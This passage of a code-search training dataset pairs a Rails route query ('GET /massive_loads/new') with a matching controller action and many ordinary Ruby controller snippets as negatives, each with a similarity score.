}\n end\n end", "def fetch_data\n _mem = mem\n _loadavg = loadavg\n {\n :server => \"#{@config[\"server\"]}\",\n :key => \"#{@config[\"key\"]}\",\n :data => {\n :mem => _mem.to_json,\n :loadavg => _loadavg.to_json\n }}.to_json\nend", "def show\n @task_metric = TaskMetric.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @task_metric }\n end\n end", "def index\n @packing_quantities = PackingQuantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @packing_quantities }\n end\n end", "def show\n @load_balancer_check = LoadBalancerCheck.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @load_balancer_check }\n end\n end", "def index\n @fundamental_resource_pools = Fundamental::ResourcePool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamental_resource_pools }\n end\n end", "def view\n res = @client.get(path)\n @attributes = res.json if res.success?\n end", "def index\n @requisitions = Requisition.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requisitions }\n end\n end", "def show\n load_budget\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget }\n end\n end", "def index\n @usages = get_usages\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @usages }\n end\n end", "def index\n @thumbs = Thumb.all\n\n render json: @thumbs\n end", "def get_work\n works = batched_get( { id: params[:id] } )\n if works.empty?\n render_json_works_response(:not_found )\n else\n # provide fileset information here\n render_json_works_response(:ok, work_transform(works, INCLUDE_FILESETS ) )\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @reserve_stat_has_manifestation }\n end\n end", "def index\n @machines = Machine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @machines }\n end\n end", "def load_station_data\n data = Net::HTTP.get(URI.parse(stations_url))\n JSON.parse(data)[\"result\"]\n end", "def show\n @microtask = Microtask.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @microtask }\n end\n end", "def index\n @manifestation_checkout_stats = ManifestationCheckoutStat.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @manifestation_checkout_stats }\n end\n end", "def look_up(url)\n all = RestClient.get(url)\n hash = JSON.parse(all)\nend", "def do_query(params) \n link = @api_url + \"/brief/json/\" + params\n return MultiJson.load( open(link).read )\n end", "def index\n @gets = Get.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gets }\n end\n end", "def show\n @precious_metal = PreciousMetal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @precious_metal }\n end\n end", "def index\n if params[:part_id]\n @materials = Material.find(:all, :conditions => [\"part_id = ?\", params[:part_id]])\n else\n @materials = Material.all\n end\n respond_to do |format|\n format.html\n format.json { render :json => @materials }\n end\n end", "def show\n @metum = Metum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @metum }\n end\n end", "def index\n @importdata = Importdatum.where(\"maxscheduler_id = ?\", @maxschedulerId).order('id desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @importdata }\n end\n end", "def index\r\n @machines = Machine.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @machines }\r\n end\r\n end", "def show\n render json: @batch\n end", "def show\n response = Aws.list_recipe(params[:id])\n render :json => response\n end", "def index\n @forecast_msizes = ForecastMsize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @forecast_msizes }\n end\n end", "def index\n @schedule_blocks = ScheduleBlock.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @schedule_blocks }\n end\n end", "def get_fileset\n\n filesets = batched_get( { id: params[:id] } )\n if filesets.empty?\n render_json_fileset_response(:not_found )\n else\n render_json_fileset_response(:ok, fileset_transform( filesets ) )\n end\n end", "def index\n @requests = Request.all\n\n render json: @requests\n end", "def get_from_mashable\n route = 'http://mashable.com/stories.json'\n raw_response = RestClient.get route\n response = JSON.load raw_response\n response[\"hot\"].map do |story|\n story_hash = {\n title: story[\"title\"],\n score: story[\"shares\"][\"total\"],\n category: story[\"channel\"],\n author: story[\"author\"]\n }\n end\nend", "def index\n @disponibles = Disponible.take(50)\n\n render json: @disponibles, include: '**'\n end", "def index\n @shots = Shot.all\n\n render json: @shots\n end", "def show\n @importer = Importer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @importer }\n end\n end", "def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end", "def show\n @export_run = ExportRun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @export_run }\n end\n end", "def show\n @mib = Mib.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mib }\n end\n end", "def load_query_response\n load_file('sample_query_response.json')\nend", "def index\n @military_battle_rounds = Military::BattleRound.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @military_battle_rounds }\n end\n end", "def index\n @urls = Url.get_top(25)\n # render json: @urls\n end", "def show\n @job_compact = JobCompact.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @job_compact }\n end\n end", "def index\n @loads = @loads.group_by(&:genuine?)[true]\n @loads_by_date = @loads.group_by(&:date)\n # @date = params[:date] || @loads_by_date.keys.sort.last\n @date = params[:date] || 2020\n @loads = @loads_by_date[@date.to_i]\n @title = \"Timetable\"\n# @title = \"Provisional #{@title}\" if @date.to_i > 2019\n\n respond_to do |format|\n format.html # index.html.erb\n format.csv { send_data Load.to_csv(@loads) }\n format.json { render json: @loads }\n format.xls { send_data Load.to_xls(@loads), content_type: 'application/vnd.ms-excel' }\n end\n end", "def show\n @storage_processor = StorageProcessor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @storage_processor }\n end\n end", "def index\r\n @product_machines = ProductMachine.all\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @product_machines }\r\n end\r\n end", "def index\n @batches = Batch.page(params[:page]).per(15)\n @page = params[:page] || 1\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @batches }\n end\n end", "def fetch_loaded_json()\n load_albums()\n # now update the cache state in the cache db\n # update the cache state and set the json and version for each loader\n loader.update_cache_state(false)\n\n # and return the albums\n return json\n end", "def show\n @task_stat = TaskStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_stat }\n end\n end", "def show\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loadbalancer }\n end\n end", "def get\n\t\t\t result = Status.find_by(windmillid: params[:windmillid]) \n \t\t\trender json: [result.as_json(only: [:status,:power,:gen,:frequency,:rotor,:wind,:pitch])]\n\tend", "def index\n @captures = Capture.all\n\n render json: @captures\n end", "def index\n @file_versions = FileVersion.all\n\n render json: @file_versions\n end", "def index\n @batches = Batch.all\n respond_to do |format|\n format.html {}\n format.json {\n\n data = Hash.new\n data[\"batches\"] = @batches\n return_success_response(data, \"Request Successful\", 200)\n }\n end\n end", "def show\n @processed_datum = ProcessedDatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @processed_datum }\n end\n end", "def show\n @packages = @batch.packages.in_progress.where(:requires_approval => true).order(\"status_id desc\").page(params[:page])\n @failures = @batch.tasks.where(status_id: Status.failed.id).count\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @batch }\n end\n end", "def show\n @metric = Metric.find(params[:id])\n\n render json: @metric\n end", "def index\n @core_machines = Core::Machine.scoped\n\n respond_to do |format|\n format.html { @core_machines = @core_machines.page(params[:page]) }\n format.json { render json: @core_machines }\n end\n end", "def index\n @business_processes = BusinessProcess.all\n\n render json: @business_processes\n end", "def index\n @generations = Generation.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @generations }\n end\n end", "def show\n @mostsmallresource = Mostsmallresource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mostsmallresource }\n end\n end", "def index\n @down_sizes = DownSize.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @down_sizes }\n end\n end", "def show\n @monthly_overhead_breakdown_item = MonthlyOverheadBreakdownItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monthly_overhead_breakdown_item }\n end\n end", "def index\n @play_segments = PlaySegment.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @play_segments }\n end\n end", "def call_rest_getlbvstats\n print \"get lb vserver stats\\n\"\n @uri.path = \"/nitro/v1/config/lbvserver/\"\n @request = Net::HTTP::Get.new(@uri)\n @request.basic_auth \"#{@username}\", \"#{@password}\"\n @request.add_field('Content-Type', 'application/vnd.com.citrix.netscaler.lbvserver+json')\n\n Net::HTTP.start(@uri.host, @uri.port) { |http|\n response = http.request(@request)\n\n if response.code == \"200\"\n result = JSON.parse(response.body)\n File.open(\"lbvserver-stats.json\", \"w\") do |file|\n file.write(JSON.pretty_generate(result))\n end\n end\n }\n\n end", "def index\n render json: {\n status: :success,\n urls: ShortUrl::top_100\n }\n end", "def all_works\n #start = numeric( params[:start], DEFAULT_START )\n #limit = numeric( params[:limit], DEFAULT_LIMIT )\n\n works = batched_get( {} )\n respond_to do |format|\n format.json do\n if works.empty?\n render_json_works_response(:not_found )\n else\n # dont provide fileset information here, it takes too long and we just want work information\n render_json_works_response(:ok, work_transform( works, EXCLUDE_FILESETS ) )\n end\n end\n format.csv do\n # provide fileset information here because this is used for work export\n render_csv_works_response( work_transform( works, INCLUDE_FILESETS ) )\n end\n end\n\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_demand_breakdowns }\n end\n end", "def show\n @monthly_revenue_breakdown_item = MonthlyRevenueBreakdownItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monthly_revenue_breakdown_item }\n end\n end", "def show\n @volume_metadatum = VolumeMetadatum.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volume_metadatum }\n end\n end", "def show\n @import = Import.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @import }\n end\n end", "def show\n @import = Import.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @import }\n end\n end", "def show\n @import = Import.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @import }\n end\n end", "def show\n @test = LoadTest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @test }\n end\n end" ]
[ "0.6614423", "0.63849837", "0.5849659", "0.5806505", "0.5799708", "0.5758163", "0.57466066", "0.5668211", "0.5652232", "0.5619108", "0.56074744", "0.55833936", "0.556982", "0.55687624", "0.5548165", "0.5544466", "0.55070823", "0.54761946", "0.547418", "0.5439974", "0.54199725", "0.5407719", "0.53910434", "0.5387934", "0.5381837", "0.537411", "0.5365881", "0.5365446", "0.5347563", "0.5341214", "0.53386915", "0.53362966", "0.53318775", "0.5326283", "0.53245217", "0.53217447", "0.5320522", "0.5314789", "0.53085357", "0.53029925", "0.5302059", "0.5299244", "0.52886736", "0.5286024", "0.52849275", "0.5283628", "0.5283229", "0.5281053", "0.52795386", "0.52775", "0.527458", "0.52712363", "0.52680326", "0.5265559", "0.52655125", "0.52646184", "0.52519226", "0.5251679", "0.52366316", "0.5236301", "0.52354395", "0.52283585", "0.5228024", "0.5225216", "0.52190804", "0.52177453", "0.5217197", "0.5216514", "0.5215915", "0.52101856", "0.5206909", "0.5203732", "0.5203356", "0.52022284", "0.5201911", "0.51971495", "0.51907754", "0.51874465", "0.518437", "0.5183844", "0.51805484", "0.51693535", "0.51685476", "0.5167767", "0.51651746", "0.516197", "0.51598644", "0.51596314", "0.51567197", "0.5156575", "0.5151632", "0.514337", "0.513811", "0.5137674", "0.5136799", "0.51356894", "0.51355064", "0.51355064", "0.51355064", "0.51350987" ]
0.73428476
0
GET /massive_loads/new GET /massive_loads/new.json
def new @massive_load = MassiveLoad.new respond_to do |format| format.html # new.html.erb format.json { render json: @massive_load } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @test = LoadTest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test }\n end\n end", "def new\n @import = Import.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @import }\n end\n end", "def new\n @import = Import.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @import }\n end\n end", "def new\n @importer = Importer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @importer }\n end\n end", "def new\n @loadbalancer = Loadbalancer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loadbalancer }\n end\n end", "def new\n @atom = Atom.find(params[:atom_id])\n @load.atom_id = @atom.id\n\n # copy default values from atom\n @load.semester = @atom.semester\n @load.hours = @atom.hours\n\n # set a default date and weeks\n @load.date = 2020 # FIXME: make this date automatic\n @load.weeks = \"1-12\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @load }\n end\n end", "def new\n @import_def = ImportDef.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @import_def }\n end\n end", "def new\n @importtodb = Importtodb.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @importtodb }\n end\n end", "def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end", "def new\n @spawner = Spawner.new\n @fieldtrips = Fieldtrip.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @spawner }\n end\n end", "def new\n @task_stat = TaskStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task_stat }\n end\n end", "def new\n @reserve_stat_has_manifestation = ReserveStatHasManifestation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @reserve_stat_has_manifestation }\n end\n end", "def create\n respond_to do |format|\n if @load.save\n format.html { redirect_to @load, notice: 'Load was successfully created.' }\n format.json { render json: @load, status: :created, location: @load }\n else\n format.html { render action: \"new\" }\n format.json { render json: @load.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @liverecord = Liverecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @liverecord }\n end\n end", "def new\n @class_taken = ClassTaken.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @class_taken }\n end\n end", "def new\n @importdatum = Importdatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @importdatum }\n end\n end", "def new\n @precious_metal = PreciousMetal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @precious_metal }\n end\n end", "def new\n @progress = Progress.new\n\n respond_to do |format|\n format.json { render json: @progress }\n end\n end", "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @part }\n end\n end", "def bulk_new\n @bulk_new = BulkNew.new\n\n respond_to do |format|\n format.html # bulk_new.html.erb\n format.json { render json: @bulk_new }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stat }\n end\n end", "def new\n @routine = Routine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @routine }\n end\n end", "def new\n @slab = Slab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @slab }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stat }\n end\n end", "def new\n @part = Part.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @part }\n end\n end", "def new\n @load_balancer_check = LoadBalancerCheck.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @load_balancer_check }\n end\n end", "def new\n @processed_datum = ProcessedDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @processed_datum }\n end\n end", "def new\n @launch_item = LaunchItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @launch_item }\n end\n end", "def new\n @block = Block.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @block }\n end\n end", "def new\n @generation = Generation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @generation }\n end\n end", "def new\n # raise params.inspect\n @task = Task.new \n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task }\n end\n end", "def new\n @get = Get.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @get }\n end\n end", "def new\n @packing_process = PackingProcess.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @packing_process }\n end\n end", "def new\n load_data\n @book = Book.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @book }\n end\n end", "def new\n @export_run = ExportRun.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @export_run }\n end\n end", "def new\n @mib = Mib.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mib }\n end\n end", "def new\n @lab = Lab.find(params[:lab_id])\n @machine = Machine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @machine }\n end\n end", "def new\n @threshold = Threshold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @threshold }\n end\n end", "def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end", "def new\n @holding = Holding.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @holding }\n end\n end", "def new\n @lift = Lift.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lift }\n end\n end", "def new\n @small_generator = SmallGenerator.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @small_generator }\n end\n end", "def new\n @lot = Lot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @lot }\n end\n end", "def new\n @gather = Gather.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gather }\n end\n end", "def new\n @tile = Tile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tile }\n end\n end", "def new\n @stat_misc = StatMisc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stat_misc }\n end\n end", "def new\n @gen = Gen.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gen }\n end\n end", "def new\n @storage_processor = StorageProcessor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @storage_processor }\n end\n end", "def new\n @collect_query = CollectQuery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collect_query }\n end\n end", "def new\n @scrape = Scrape.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scrape }\n end\n end", "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "def new\n @stock = Stock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stock }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @summary }\n end\n end", "def new\n @serving = Serving.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @serving }\n end\n end", "def new\n @machine = Machine.new\n @titles = Title.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @machine }\n end\n end", "def new\n\t @run = Run.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @run }\n end\n \n end", "def new\n @pickup = Pickup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pickup }\n end\n end", "def new\n @version = Version.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @version }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @batch }\n end\n end", "def new\n @broad = Broad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @broad }\n end\n end", "def new\n @total_stock = TotalStock.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @total_stock }\n end\n end", "def new\n \n @title = \"availabilities/new\"\n @availability = Availability.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @availability }\n end\n end", "def new\n @fileversion = Fileversion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fileversion }\n end\n end", "def new\n @newspage = Newspage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @newspage }\n end\n end", "def new\n @hive = Hive.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hive }\n end\n end", "def new\n @preguntum = Preguntum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @preguntum }\n end\n end", "def new\n @file_version = FileVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @file_version }\n end\n end", "def new\n @basis = Base.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @basis }\n end\n end", "def new\n @stocklist = Stocklist.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stocklist }\n end\n end", "def new\n @mostsmallresource = Mostsmallresource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mostsmallresource }\n end\n end", "def new\n @url = Url.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @url }\n end\n end", "def new\n @take = Take.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @take }\n end\n end", "def new\n @waiting_list = WaitingList.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @waiting_list }\n end\n end", "def new\n @shard = Shard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @shard }\n end\n end", "def new\n @title = t('view.flows.new_title')\n @flow = Flow.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @flow }\n end\n end", "def new\n @item = Item.new(:list_id => params[:list_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @item }\n end\n end", "def new\n @sampled_url = SampledUrl.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sampled_url }\n end\n end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task_list }\n end\n end", "def new\n @prob = Prob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @prob }\n end\n end", "def new\n @smallmap = Smallmap.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @smallmap }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end", "def new\n @nvs_mig_status = NvsMigStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nvs_mig_status }\n end\n end", "def new\n @t = T.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @t }\n end\n end", "def create\n @massive_load = MassiveLoad.new(params[:massive_load])\n\n respond_to do |format|\n if @massive_load.save\n read_excel\n format.html { redirect_to @massive_load, notice: t(:successfully_created) }\n format.json { render json: @massive_load, status: :created, location: @massive_load }\n else\n format.html { render action: \"new\" }\n format.json { render json: @massive_load.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @rackitem = Rackitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @rackitem }\n end\n end", "def new\n @bloom = Bloom.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @bloom }\n end\n end", "def new\n @machine = Machine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @machine }\n end\n end", "def new\n @scenario = Scenario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scenario }\n end\n end", "def new\n @route = Route.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end", "def new\n @mill = Mill.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @mill }\n end\n end", "def new\n @classified = Classified.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @classified }\n end\n end", "def new\n @scenario = Scenario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scenario }\n end\n end", "def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @scraper }\n end\n end", "def new\n @task_metric = TaskMetric.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @task_metric }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end", "def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end" ]
[ "0.6653466", "0.661421", "0.661421", "0.6576677", "0.6502705", "0.6500868", "0.6484898", "0.647852", "0.6468913", "0.6437501", "0.64248705", "0.64048356", "0.6403324", "0.64030945", "0.63934", "0.63902986", "0.63883716", "0.63881004", "0.63863873", "0.63793063", "0.6378045", "0.63759947", "0.6368634", "0.6354258", "0.6346696", "0.63375944", "0.63180286", "0.63169867", "0.6308777", "0.6305449", "0.6304289", "0.6303615", "0.63030875", "0.63000935", "0.6296323", "0.62944263", "0.629082", "0.6284266", "0.62764925", "0.62764925", "0.62763214", "0.6274214", "0.62728226", "0.62715304", "0.627153", "0.6271075", "0.626296", "0.6259401", "0.62592167", "0.6252018", "0.62504756", "0.62504756", "0.62504756", "0.62504756", "0.62504756", "0.62504756", "0.6238615", "0.62377656", "0.62376016", "0.6236308", "0.6232478", "0.6228632", "0.622848", "0.62272173", "0.62247634", "0.6222901", "0.6219022", "0.6217961", "0.62160754", "0.6214399", "0.62102604", "0.6209423", "0.62047434", "0.62037206", "0.6203107", "0.62021106", "0.61863273", "0.6185186", "0.6183536", "0.61832744", "0.61813843", "0.6180951", "0.6180905", "0.6179403", "0.6176295", "0.6176215", "0.617621", "0.6173811", "0.6171803", "0.6170969", "0.61708957", "0.61700404", "0.61683214", "0.6166771", "0.61649597", "0.6164587", "0.6164018", "0.6164007", "0.6163785", "0.6163785" ]
0.7823574
0
POST /massive_loads POST /massive_loads.json
def create @massive_load = MassiveLoad.new(params[:massive_load]) respond_to do |format| if @massive_load.save read_excel format.html { redirect_to @massive_load, notice: t(:successfully_created) } format.json { render json: @massive_load, status: :created, location: @massive_load } else format.html { render action: "new" } format.json { render json: @massive_load.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @massive_load = MassiveLoad.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @massive_load }\n end\n end", "def price_bulk_load\n logger.info 'PRICE BULK LOAD REQUESTED.'\n FeedWorker.perform_async('price_bulk_load')\n head :accepted\n end", "def show\n @massive_load = MassiveLoad.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @massive_load }\n end\n end", "def create\n respond_to do |format|\n if @load.save\n format.html { redirect_to @load, notice: 'Load was successfully created.' }\n format.json { render json: @load, status: :created, location: @load }\n else\n format.html { render action: \"new\" }\n format.json { render json: @load.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @massive_load = MassiveLoad.find(params[:id])\n @massive_load.destroy\n\n respond_to do |format|\n format.html { redirect_to massive_loads_url }\n format.json { head :no_content }\n end\n end", "def create\n @load = Load.new(load_params)\n @client=Client.all\n @branch_office=BranchOffice.all\n @worker=Worker.all\n @vehicle=Vehicle.all\n respond_to do |format|\n if @load.save\n format.html { redirect_to @load, notice: 'La carga se guardó correctamente.' }\n format.json { render :show, status: :created, location: @load }\n else\n format.html { render :new }\n format.json { render json: @load.errors, status: :unprocessable_entity }\n end\n end\n end", "def bulk_new\n @bulk_new = BulkNew.new\n\n respond_to do |format|\n format.html # bulk_new.html.erb\n format.json { render json: @bulk_new }\n end\n end", "def load_json\n filepath = \"jobloadertest.json\"\n serialized_jobs = File.read(filepath)\n jobs = JSON.parse(serialized_jobs)\n\n jobs.each do |job|\n job[\"id\"] = nil\n job[\"created_at\"] = nil\n job[\"updated_at\"] = nil\n jl = JobLoader.new(job)\n jl.save\n end\n puts \"json loaded\"\nend", "def run_bulk; end", "def create\n params.permit!\n @ms_loading = MsLoading.new(params[:ms_loading])\n\n respond_to do |format|\n if @ms_loading.save\n format.html { redirect_to(@ms_loading, :notice => 'Ms loading was successfully created.') }\n format.xml { render :xml => @ms_loading, :status => :created, :location => @ms_loading }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ms_loading.errors, :status => :unprocessable_entity }\n end\n end\n end", "def mass_create\n requests = []\n group_invite_params[:mass_requests].each do |element|\n requests << @current_user.requests_as_sender.new(:group_id => element[:group_id], :receiver_id => element[:receiver_id], :status => \"pending\")\n end\n\n @invites = Request.import requests\n\n if @invites\n render json: requests, status: :created\n else\n render json: requests.errors, status: :unprocessable_entity\n end\n end", "def postEntityBulkJson( data)\n params = Hash.new\n params['data'] = data\n return doCurl(\"post\",\"/entity/bulk/json\",params)\n end", "def index\n @loads = Load.all\n end", "def import\n @obj = Node.create_sub_tree JSON.parse(File.read(params[:file_to_upload].tempfile.path), symbolize_names: true)\n\n respond_to do |format|\n format.html { redirect_to @obj, notice: 'Node was successfully created.' }\n format.json { render json: @obj, status: :created, location: @obj }\n end\n end", "def create\n #@visit = params[:visits]\n 